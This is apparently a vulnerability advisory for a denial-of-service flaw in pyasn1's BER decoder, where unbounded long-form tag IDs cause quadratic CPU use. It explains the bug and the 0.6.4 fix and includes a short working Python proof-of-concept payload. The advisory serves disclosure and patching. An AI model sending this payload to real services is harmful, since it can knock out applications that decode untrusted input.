CVE-2026-59884: pyasn1 BER Decoder Denial of Service via Unbounded Long-Form Tag IDs
pyasn1's BER/CER/DER decoder accumulates tag ID bytes in an unbounded loop, letting an attacker feed a megabyte of crafted input that consumes minutes of CPU and crashes Python 3.11+ with an unhandled
The problem
The BER decoder in pyasn1 parses long-form tag identifiers by accumulating continuation octets in a loop with no upper bound on how many it will accept. Each continuation byte shifts the running tag integer left by 7 bits, building an arbitrarily large integer whose CPU cost grows quadratically with input size.
A ~1 MB crafted input can consume over a minute of CPU time. On Python 3.11+, the oversized integer can also trigger an unhandled `ValueError` from the interpreter's integer-to-string conversion limit when the decoder tries to format an error message, breaking the documented `PyAsn1Error` contract and potentially bypassing caller error handling.
Any application decoding untrusted BER, CER, or DER input is affected.
Proof of concept
A working proof-of-concept for CVE-2026-59884 in pyssn1, with the exact payload below.
# Minimal long-form tag bomb (~1 MB).
# BER long-form tag: 0x1f signals 'long form'; continuation bytes have bit 7 set.
# The final tag byte has bit 7 clear; then length + value follow.
# The patch now rejects more than 20 continuation octets.
from pyasn1.codec.ber import decoder
# 0x1f = long-form tag prefix (universal, primitive)
# 0x81 * N = N continuation octets (bit 7 set; quadratic integer growth)
# 0x01 = tag terminator byte (bit 7 clear)
# 0x01 0x00 = length 1, value 0x00
N = 1_000_000 # ~1 MB input; swap for 21 to cross the 20-octet patch limit
malicious = b'\x1f' + b'\x81' * N + b'\x01' + b'\x01\x00'
try:
decoder.decode(malicious)
except Exception as e:
print(type(e).__name__, e) # PyAsn1Error on >=0.6.4, CPU hang or ValueError on <=0.6.3In BER, any tag value >= 31 uses long form: the first tag byte is `0x1f` and subsequent bytes encode the tag ID in base-128 with bit 7 as the continuation flag. Before 0.6.4, the decoder's parsing loop had no length check, so it would shift-accumulate bytes into a Python `int` indefinitely.
Python's arbitrary-precision integers make each left-shift 7 bits more expensive than the last, producing O(N^2) CPU cost for N continuation bytes.
The patch adds a `MAX_TAG_ID_OCTETS = 20` constant (matching the OID arc limit added in 0.6.2) and raises `PyAsn1Error` immediately if the loop exceeds that count. It also hardens `Tag` and `TagSet` `repr()` against Python 3.11+'s `sys.int_info.str_digits_limit`, which prevented unhandled `ValueError` on error paths.
CWE-400 (Uncontrolled Resource Consumption).
The fix
Upgrade pyasn1 to 0.6.4. The release caps long-form tag IDs at 20 continuation octets and rejects oversized tags with `PyAsn1Error`. If you cannot upgrade immediately, cap the byte length of untrusted input before passing it to `decode()`.
Reported by mikeappsec.
Related research
- high · 7.5CVE-2026-59885CVE-2026-59885: pyasn1 Quadratic Complexity OID Decoding Denial of Service
- high · 7.5CVE-2026-59886CVE-2026-59886: pyasn1 Uncontrolled Resource Consumption in Real Float Conversion
- high · 7.5CVE-2026-59200CVE-2026-59200: Pillow PdfParser Decompression Bomb DoS
- high · 7.5CVE-2025-67725CVE-2025-67725: Tornado HTTPHeaders Quadratic DoS via Repeated Header Coalescing